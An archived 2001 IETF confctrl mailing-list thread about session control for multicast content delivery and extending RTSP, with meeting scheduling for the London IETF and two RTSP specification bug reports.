Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yeah, what Ross said. It seems like we should be able to sit down this
week and figure out how to reformulate this as a proposal to extend RTSP.
This is roughly equivalent to the "Backchannel Multicast" feature we use
in RealServer (as distinguished from "Scalable Multicast" which doesn't
use the RTSP connection, but just serves an SDP file off of the HTTP port)

I'm here at the London meeting....let's try to catch up and sketch out an
RTSP version that meets your needs.

Rob

On Sun, 5 Aug 2001, Ross Finlayson wrote:

> At 04:03 PM 8/2/01, Mike Luby wrote:
> >In the upcoming RMT working group meeting at the IETF there will be a
> >discussion about whether or not a session control protocol instantiation is:
> >
> >(1) within the mandate of the RMT working group
> >
> >(2) valuable assuming that the answer to (1) is "yes"
> >
> >The following draft is a description of a possible session control protocol.
> >Note that this draft is not an official submission to the IETF, and its
> >content will not be reviewed at the IETF meeting.  This draft is available
> >at:
> >
> ><http://www.digitalfountain.com/getDocument.htm/technology/library/draft-ietf-rmt-mgl-pi-rccp-00-7-11-2001.txt>http://www.digitalfountain.com/getDocument.htm/technology/library/draft-ietf-rmt-mgl-pi-rccp-00-7-11-2001.txt
> >
> >This document describes the Rich Content Control Protocol (RCCP), a session
> >control protocol for client initiated  content delivery.  The content in
> >question may be a file, a stream or some other form of content.  The RCCP
> >protocol  itself, however, is independent of the type of the content.  RCCP
> >offers support for both multicast and unicast  delivery.
> >
> >Some of the key properties and goals of RCCP are:
> >
> >(1) Initiation of the session including communication of the session
> >description to clients.
> >(2) Session monitoring to facilitate server side accounting.
> >(3) Session teardown, facilitating server side accounting and collection of
> >client statistics.
> >(4) Initiation and high level control of data packet reception.
> >(5) Prevention of some types of DoS attacks on servers.
> >(3) The ability to either directly or after configuration allow delivery of
> >content through firewalls.
>
> Mike & RMT (cc. MMUSIC),
>
> I think such a protocol is needed, but at this point I'm not convinced that
> it should be a completely new protocol.  Instead, we should consider
> whether such a protocol could be built upon the existing RTSP protocol -
> the IETF standard control protocol for multimedia (AVT) sessions.  RTSP
> already addresses many of the issues that you outline for your control
> protocol.  While RTSP currently uses SDP - which is probably not rich
> enough to describe reliable transport sessions - the 'next generation' of
> SDP (nicknamed "SDPng") will be flexible enough to describe such
> sessions.  Presumably there can also be a "RTSPng" which can make use of
> "SDPng", as well as having sufficient flexiblity to describe reliable
> transport sessions.
>
> Using RTSP (or "RTSPng") as the control protocol for reliable transport
> sessions has several benefits over using a completely new protocol:
> - Some multimedia sessions might include both streaming media (audio and/or
> video) and reliable data delivery.  It would be beneficial to use the same
> control protocol for all parts of such a session.
> - Some future RTP payload formats may include reliable (or semi-reliable)
> delivery for part of its data.  (E.g., a RTP payload format for Vorbis
> audio will likely need to include a reliable delivery mechanism for
> transporting 'codebooks' to receivers.)  Ideally, all of the
> parameters/attributes for such a session should be described in SDP (or SDPng).
> - Some client tools may end up being used to receive/display both A/V
> streams, and reliably-delivered files.  It would simplify the
> implementation of such clients if they could use a single control protocol,
> rather than using one for A/V streams, and another for reliable data transport.
> - Ditto for servers - if the same server implementation ends up being used
> to serve both A/V streams and RMT data.
>
>          Ross.
>


From confctrl-owner  Mon Aug  6 18:19:40 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA16072
	for confctrl-outgoing; Mon, 6 Aug 2001 18:19:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA16067
	for <confctrl@zephyr.isi.edu>; Mon, 6 Aug 2001 18:19:39 -0700 (PDT)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f771JYm13846;
	Mon, 6 Aug 2001 18:19:34 -0700 (PDT)
Received: from davir01nok.americas.nokia.com (davir01nok.americas.nokia.com [172.18.242.84])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f771JwI05197;
	Mon, 6 Aug 2001 20:20:08 -0500 (CDT)
Received: from daebh001.NOE.Nokia.com (unverified) by davir01nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T5535ef8f6eac12f254079@davir01nok.americas.nokia.com>;
 Mon, 6 Aug 2001 20:18:32 -0500
content-class: urn:content-classes:message
Subject: RE: 1-to-many session control
Date: Mon, 6 Aug 2001 20:18:25 -0500
Message-ID: <B9CFA6CE8FFDD211A1FB0008C7894E4604B9E778@bseis01nok>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="euc-kr"
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: 1-to-many session control
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
Thread-Index: AcEcvsdz7I/KmIivEdWpVgBQi2kYTQCHldxE
From: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
To: "'ext Eunsook Kim '" <eunah@pec.etri.re.kr>, <csp@ISI.EDU>,
        <jo@tzi.uni-bremen.de>
Cc: <cabo@tzi.org>, <dku@tzi.org>,
        "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>,
        <confctrl@ISI.EDU>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by zephyr.isi.edu id SAA16068
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

as already announced last week, I would like to meet during the London
IETF to discuss further steps regarding efforts in the IETF to address
conference control. As the date and location for the meeting, I'd like 
to propose Wednesday, 8pm at Fimona Restaurant and Bar, located at
Hilton (IETF venue). 

Everyone is welcome to participate. The goal of this meeting is
to determine what steps might be done in the future to bring 
this topic in the IETF.

Best Regards,



Dirk Trossen

-----Original Message-----
From: ext Eunsook Kim
To: csp@isi.edu; jo@tzi.uni-bremen.de
Cc: cabo@tzi.org; dku@tzi.org; dirk.trossen@nokia.com
Sent: 8/4/01 4:27 AM
Subject: 1-to-many session control

Dear 
 
I'm working on multicast session control for 1-to-m group communications

such as internet broadcasting, push service, cyber education, etc.
As my concern, they need tightly coupled session membership, but 
currently, in MMUSIC, SCCP gives a guidance only for tightly coupled
conferences, not for such applications.
 
I attached a slide file which roughly explains my approach. 
It is still premature status for detail discussion, but I think you can
catch the basic idea. 
 
I'd like to know if MMUSIC covers this topic, and if so, I think I can
contribute an initiative work on it in next meeting after discussion
with you.
For discussion or comments, I think I can find you after MMUSIC session
is over in this IETF meeting, or email response also will be welcomed.
 
Thanks in advances,
 
Best Regards,
 
Eunsook Kim
eunah@etri.re.kr <mailto:eunah@etri.re.kr> 
Protocol Engineering Center
Electronics and Telecommunications Research Institute
 <<SCMP.ppt>> 

From confctrl-owner  Tue Aug  7 00:00:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA28125
	for confctrl-outgoing; Tue, 7 Aug 2001 00:00:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA28120
	for <confctrl@zephyr.isi.edu>; Tue, 7 Aug 2001 00:00:45 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f7770lm23450;
	Tue, 7 Aug 2001 00:00:48 -0700 (PDT)
Received: from bart.cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id DAA16468;
	Tue, 7 Aug 2001 03:00:46 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by bart.cs.columbia.edu (8.9.3+Sun/8.9.3) with ESMTP id DAA24801;
	Tue, 7 Aug 2001 03:00:42 -0400 (EDT)
Message-ID: <3B6FBD3E.F80C3BB0@cs.columbia.edu>
Date: Tue, 07 Aug 2001 03:04:46 -0700
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
CC: "'ext Eunsook Kim '" <eunah@pec.etri.re.kr>, csp@ISI.EDU,
        jo@tzi.uni-bremen.de, cabo@tzi.org, dku@tzi.org, confctrl@ISI.EDU
Subject: Re: 1-to-many session control
References: <B9CFA6CE8FFDD211A1FB0008C7894E4604B9E778@bseis01nok>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Wednesday is the IETF plenary and thus, some of us can't attend. I don't
think it is appropriate to schedule things during that time.

"Trossen Dirk (NRC/Boston)" wrote:
> 
> Hi all,
> 
> as already announced last week, I would like to meet during the London
> IETF to discuss further steps regarding efforts in the IETF to address
> conference control. As the date and location for the meeting, I'd like
> to propose Wednesday, 8pm at Fimona Restaurant and Bar, located at
> Hilton (IETF venue).
> 
> Everyone is welcome to participate. The goal of this meeting is
> to determine what steps might be done in the future to bring
> this topic in the IETF.
> 
> Best Regards,
> 
> Dirk Trossen
>

From confctrl-owner  Tue Aug  7 02:41:19 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA06339
	for confctrl-outgoing; Tue, 7 Aug 2001 02:41:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA06332
	for <confctrl@zephyr.isi.edu>; Tue, 7 Aug 2001 02:41:18 -0700 (PDT)
Received: from cms3.etri.re.kr (cms3.etri.re.kr [129.254.16.13])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f779f9m16724;
	Tue, 7 Aug 2001 02:41:11 -0700 (PDT)
Received: by cms3.etri.re.kr with Internet Mail Service (5.5.2653.19)
	id <QBP5L0MF>; Tue, 7 Aug 2001 18:39:31 +0900
Message-ID: <766FA1FC5C2AD511B3C800D0B7A8AC4A01268126@cms3.etri.re.kr>
From: eunah@etri.re.kr
To: Dirk.Trossen@nokia.com, csp@ISI.EDU, jo@tzi.uni-bremen.de
Cc: cabo@tzi.org, dku@tzi.org, confctrl@ISI.EDU
Subject: RE: 1-to-many session control
Date: Tue, 7 Aug 2001 18:39:30 +0900 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C11F24.DB984E00"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C11F24.DB984E00
Content-Type: text/plain;
	charset="euc-kr"

<If you get duplicated message of it, sorry for bothering you.
But, I got "deliver fail"messages, so try to send it again.>


Hi all,

I'd love to participate the meeting, and hope to discuss futher steps of 
session control including one-to-many session control.

> Wednesday is the IETF plenary and thus, some of us can't attend. I don't
> think it is appropriate to schedule things during that time.

Then why don't we meet after the plenary. I think around 9:30 or 10:00 pm
will be fine with me.

Best regards,

Eunsook Kim


> "Trossen Dirk (NRC/Boston)" wrote:
> > 
> > Hi all,
> > 
> > as already announced last week, I would like to meet during the London
> > IETF to discuss further steps regarding efforts in the IETF to address
> > conference control. As the date and location for the meeting, I'd like
> > to propose Wednesday, 8pm at Fimona Restaurant and Bar, located at
> > Hilton (IETF venue).
> > 
> > Everyone is welcome to participate. The goal of this meeting is
> > to determine what steps might be done in the future to bring
> > this topic in the IETF.
> > 
> > Best Regards,
> > 
> > Dirk Trossen
> >





------_=_NextPart_001_01C11F24.DB984E00
Content-Type: text/html;
	charset="euc-kr"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=euc-kr">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>RE: 1-to-many session control</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>&lt;If you get duplicated message of it, sorry for bothering you.</FONT>
<BR><FONT SIZE=2>But, I got &quot;deliver fail&quot;messages, so try to send it again.&gt;</FONT>
</P>
<BR>

<P><FONT SIZE=2>Hi all,</FONT>
</P>

<P><FONT SIZE=2>I'd love to participate the meeting, and hope to discuss futher steps of </FONT>
<BR><FONT SIZE=2>session control including one-to-many session control.</FONT>
</P>

<P><FONT SIZE=2>&gt; Wednesday is the IETF plenary and thus, some of us can't attend. I don't</FONT>
<BR><FONT SIZE=2>&gt; think it is appropriate to schedule things during that time.</FONT>
</P>

<P><FONT SIZE=2>Then why don't we meet after the plenary. I think around 9:30 or 10:00 pm will be fine with me.</FONT>
</P>

<P><FONT SIZE=2>Best regards,</FONT>
</P>

<P><FONT SIZE=2>Eunsook Kim</FONT>
</P>
<BR>

<P><FONT SIZE=2>&gt; &quot;Trossen Dirk (NRC/Boston)&quot; wrote:</FONT>
<BR><FONT SIZE=2>&gt; &gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt; Hi all,</FONT>
<BR><FONT SIZE=2>&gt; &gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt; as already announced last week, I would like to meet during the London</FONT>
<BR><FONT SIZE=2>&gt; &gt; IETF to discuss further steps regarding efforts in the IETF to address</FONT>
<BR><FONT SIZE=2>&gt; &gt; conference control. As the date and location for the meeting, I'd like</FONT>
<BR><FONT SIZE=2>&gt; &gt; to propose Wednesday, 8pm at Fimona Restaurant and Bar, located at</FONT>
<BR><FONT SIZE=2>&gt; &gt; Hilton (IETF venue).</FONT>
<BR><FONT SIZE=2>&gt; &gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt; Everyone is welcome to participate. The goal of this meeting is</FONT>
<BR><FONT SIZE=2>&gt; &gt; to determine what steps might be done in the future to bring</FONT>
<BR><FONT SIZE=2>&gt; &gt; this topic in the IETF.</FONT>
<BR><FONT SIZE=2>&gt; &gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt; Best Regards,</FONT>
<BR><FONT SIZE=2>&gt; &gt; </FONT>
<BR><FONT SIZE=2>&gt; &gt; Dirk Trossen</FONT>
<BR><FONT SIZE=2>&gt; &gt;</FONT>
</P>
<BR>
<BR>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C11F24.DB984E00--

From confctrl-owner  Tue Aug  7 03:30:22 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA09379
	for confctrl-outgoing; Tue, 7 Aug 2001 03:30:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA09366
	for <confctrl@zephyr.isi.edu>; Tue, 7 Aug 2001 03:30:21 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f77AU8m24392;
	Tue, 7 Aug 2001 03:30:09 -0700 (PDT)
Received: from tzi.uni-bremen.de (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f77ATTJ16080;
	Tue, 7 Aug 2001 12:29:29 +0200 (MEST)
Message-ID: <3B6FC2FD.FAD40AB5@tzi.uni-bremen.de>
Date: Tue, 07 Aug 2001 12:29:20 +0200
From: Joerg Ott <jo@tzi.uni-bremen.de>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>,
        "'ext Eunsook Kim '" <eunah@pec.etri.re.kr>, csp@ISI.EDU, cabo@tzi.org,
        dku@tzi.org, confctrl@ISI.EDU
Subject: Re: 1-to-many session control
References: <B9CFA6CE8FFDD211A1FB0008C7894E4604B9E778@bseis01nok> <3B6FBD3E.F80C3BB0@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I agree with Henning.  Wednesday night is not a good idea.  Please also
avoid the following time slots:

Wednesday 1730-1930
Wednesday 2200-????
Thursday  1745-1900
Thursday  2130-2300

In these slots, SIP Bar BOFs are already scheduled.

Joerg

Henning Schulzrinne wrote:
> 
> Wednesday is the IETF plenary and thus, some of us can't attend. I don't
> think it is appropriate to schedule things during that time.
> 
> "Trossen Dirk (NRC/Boston)" wrote:
> >
> > Hi all,
> >
> > as already announced last week, I would like to meet during the London
> > IETF to discuss further steps regarding efforts in the IETF to address
> > conference control. As the date and location for the meeting, I'd like
> > to propose Wednesday, 8pm at Fimona Restaurant and Bar, located at
> > Hilton (IETF venue).
> >
> > Everyone is welcome to participate. The goal of this meeting is
> > to determine what steps might be done in the future to bring
> > this topic in the IETF.
> >
> > Best Regards,
> >
> > Dirk Trossen
> >

From confctrl-owner  Tue Aug  7 07:21:14 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA18714
	for confctrl-outgoing; Tue, 7 Aug 2001 07:21:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA18709
	for <confctrl@zephyr.isi.edu>; Tue, 7 Aug 2001 07:21:13 -0700 (PDT)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f77ELGm08427
	for <confctrl@isi.edu>; Tue, 7 Aug 2001 07:21:17 -0700 (PDT)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15U7jP-00089I-00; Tue, 07 Aug 2001 07:21:15 -0700
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15U7jP-0002Rj-00; Tue, 07 Aug 2001 07:21:15 -0700
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-448521 ] URLs in Rtp-Info need to be quoted
Message-Id: <E15U7jP-0002Rj-00@usw-sf-web3.sourceforge.net>
Date: Tue, 07 Aug 2001 07:21:15 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #448521, was opened at 2001-08-06 13:01
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=448521&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Anders Klemets (klemets)
>Assigned to: Rob Lanphier (robla)
Summary: URLs in Rtp-Info need to be quoted

Initial Comment:
The Rtp-Info header contains URLs, but those URLs are 
not quoted, causing problems when the URLs contain 
semi-colon, equal signs and comma characters.

The best way to quote URLs are by using double-
quotes.  Using angle-brackets has also been proposed, 
but using double-quotes is more likely to be 
compatbile with existing implementations, because 
other RTSP/HTTP headers use double-quote characters 
in similar situations.
 

----------------------------------------------------------------------

>Comment By: Rob Lanphier (robla)
Date: 2001-08-07 07:21

Message:
Logged In: YES 
user_id=3796

This is primarily to test if mail to confctrl is working

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=448521&group_id=23194

From confctrl-owner  Tue Aug  7 07:21:59 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA18757
	for confctrl-outgoing; Tue, 7 Aug 2001 07:21:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA18751
	for <confctrl@zephyr.isi.edu>; Tue, 7 Aug 2001 07:21:58 -0700 (PDT)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f77EM2m08446
	for <confctrl@isi.edu>; Tue, 7 Aug 2001 07:22:02 -0700 (PDT)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15U7k9-0008DV-00; Tue, 07 Aug 2001 07:22:01 -0700
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15U7k9-0002SE-00; Tue, 07 Aug 2001 07:22:01 -0700
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-448525 ] Syntax for SSRC should be clarified
Message-Id: <E15U7k9-0002SE-00@usw-sf-web3.sourceforge.net>
Date: Tue, 07 Aug 2001 07:22:01 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #448525, was opened at 2001-08-06 13:07
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=448525&group_id=23194

Category: None
Group: None
Status: Open
Resolution: None
Priority: 5
Submitted By: Anders Klemets (klemets)
>Assigned to: Rob Lanphier (robla)
Summary: Syntax for SSRC should be clarified

Initial Comment:
The Rtp-Info header can contain an attribute 
named "ssrc".  The BNF-syntax in the RFC defines that 
the value of the ssrc attribute should be exactly 8 
hexadecimal digits.  But this is never spelled out in 
English in the RFC.  This makes it easy to overlook 
that the ssrc should be expressed in hexadecimal.

Therefore, it would be helpful if a sentence was 
added to the document to clarify this.  The sentence 
should simply explain what the BNF-syntax already 
describes, namely that the value of the ssrc 
attribute should be represented as 8 hexadecimal 
characters.


----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=448525&group_id=23194

From confctrl-owner  Tue Aug  7 09:38:27 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA26046
	for confctrl-outgoing; Tue, 7 Aug 2001 09:38:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA26041
	for <confctrl@zephyr.isi.edu>; Tue, 7 Aug 2001 09:38:26 -0700 (PDT)
Received: from purple.east.isi.edu (host217-33-137-108.ietf.ignite.net [217.33.137.108])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f77GcTm20692
	for <confctrl@ISI.EDU>; Tue, 7 Aug 2001 09:38:30 -0700 (PDT)
Received: from purple (localhost [127.0.0.1])
	by purple.east.isi.edu (8.9.3/8.9.3) with ESMTP id MAA08915;
	Tue, 7 Aug 2001 12:37:37 -0400
Message-Id: <200108071637.MAA08915@purple.east.isi.edu>
To: eunah@etri.re.kr
cc: Dirk.Trossen@nokia.com, jo@tzi.uni-bremen.de, cabo@tzi.org, dku@tzi.org,
        confctrl@ISI.EDU
Subject: Re: 1-to-many session control 
In-Reply-To: Your message of "Tue, 07 Aug 2001 18:39:30 +0900."
             <766FA1FC5C2AD511B3C800D0B7A8AC4A01268126@cms3.etri.re.kr> 
Date: Tue, 07 Aug 2001 17:37:37 +0100
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Make it 10:30, to give the plenary time to finish. 
Colin

--> eunah@etri.re.kr writes:
><If you get duplicated message of it, sorry for bothering you.
>But, I got "deliver fail"messages, so try to send it again.>
>
>
>Hi all,
>
>I'd love to participate the meeting, and hope to discuss futher steps of 
>session control including one-to-many session control.
>
>> Wednesday is the IETF plenary and thus, some of us can't attend. I don't
>> think it is appropriate to schedule things during that time.
>
>Then why don't we meet after the plenary. I think around 9:30 or 10:00 pm
>will be fine with me.
>
>Best regards,
>
>Eunsook Kim
>
>
>> "Trossen Dirk (NRC/Boston)" wrote:
>> > 
>> > Hi all,
>> > 
>> > as already announced last week, I would like to meet during the London
>> > IETF to discuss further steps regarding efforts in the IETF to address
>> > conference control. As the date and location for the meeting, I'd like
>> > to propose Wednesday, 8pm at Fimona Restaurant and Bar, located at
>> > Hilton (IETF venue).
>> > 
>> > Everyone is welcome to participate. The goal of this meeting is
>> > to determine what steps might be done in the future to bring
>> > this topic in the IETF.
>> > 
>> > Best Regards,
>> > 
>> > Dirk Trossen
>> >

From confctrl-owner  Tue Aug  7 11:18:54 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA01815
	for confctrl-outgoing; Tue, 7 Aug 2001 11:18:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA01810
	for <confctrl@zephyr.isi.edu>; Tue, 7 Aug 2001 11:18:53 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f77IItm01867
	for <confctrl@isi.edu>; Tue, 7 Aug 2001 11:18:56 -0700 (PDT)
Received: from ipdialog.com (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f77IIaJ05545;
	Tue, 7 Aug 2001 20:18:36 +0200 (MEST)
Message-ID: <3B7030FE.698808FD@ipdialog.com>
Date: Tue, 07 Aug 2001 20:18:39 +0200
From: Joerg Ott <jo@ipdialog.com>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, mmusic@informatik.uni-bremen.de
Subject: Revised agenda
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

All:

A slightly revised MMUSIC agenda including pointers to
all drafts is available at

      http://www.dmn.tzi.org/ietf/mmusic/

Joerg

From confctrl-owner  Tue Aug  7 13:23:25 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA10582
	for confctrl-outgoing; Tue, 7 Aug 2001 13:23:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA10577
	for <confctrl@zephyr.isi.edu>; Tue, 7 Aug 2001 13:23:24 -0700 (PDT)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f77KNQm16381;
	Tue, 7 Aug 2001 13:23:26 -0700 (PDT)
Received: from davir01nok.americas.nokia.com (davir01nok.americas.nokia.com [172.18.242.84])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f77KONI12537;
	Tue, 7 Aug 2001 15:24:23 -0500 (CDT)
Received: from daebh001.NOE.Nokia.com (unverified) by davir01nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T553a07a09fac12f254079@davir01nok.americas.nokia.com>;
 Tue, 7 Aug 2001 15:23:18 -0500
content-class: urn:content-classes:message
Subject: RE: 1-to-many session control 
Date: Tue, 7 Aug 2001 15:22:20 -0500
Message-ID: <B9CFA6CE8FFDD211A1FB0008C7894E4604B9E779@bseis01nok>
X-MS-Has-Attach: 
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-MS-TNEF-Correlator: 
Thread-Topic: 1-to-many session control 
Thread-Index: AcEfX8SFhXucmotOEdWBSQBQi2X+DwAHjK6Q
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
From: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>
To: "'ext Colin Perkins'" <csp@ISI.EDU>, <eunah@etri.re.kr>
Cc: "Trossen Dirk (NRC/Boston)" <Dirk.Trossen@nokia.com>,
        <jo@tzi.uni-bremen.de>, <cabo@tzi.org>, <dku@tzi.org>,
        <confctrl@ISI.EDU>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id NAA10578
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

based on the several time slot proposals for the conference control
meeting, let's make a 10.30 pm out of it, same place. I'm sorry for 
the overlap with other activities on Wednesday, though I hope that
enough interested people will have the opportunity to attend.

Best Regards,




Dirk

-----Original Message-----
From: ext Colin Perkins [mailto:csp@ISI.EDU]
Sent: Tuesday, August 07, 2001 12:38 PM
To: eunah@etri.re.kr
Cc: Dirk.Trossen@nokia.com; jo@tzi.uni-bremen.de; cabo@tzi.org;
dku@tzi.org; confctrl@ISI.EDU
Subject: Re: 1-to-many session control 


Make it 10:30, to give the plenary time to finish. 
Colin

--> eunah@etri.re.kr writes:
><If you get duplicated message of it, sorry for bothering you.
>But, I got "deliver fail"messages, so try to send it again.>
>
>
>Hi all,
>
>I'd love to participate the meeting, and hope to discuss futher steps
of 
>session control including one-to-many session control.
>
>> Wednesday is the IETF plenary and thus, some of us can't attend. I
don't
>> think it is appropriate to schedule things during that time.
>
>Then why don't we meet after the plenary. I think around 9:30 or 10:00
pm
>will be fine with me.
>
>Best regards,
>
>Eunsook Kim
>
>
>> "Trossen Dirk (NRC/Boston)" wrote:
>> > 
>> > Hi all,
>> > 
>> > as already announced last week, I would like to meet during the
London
>> > IETF to discuss further steps regarding efforts in the IETF to
address
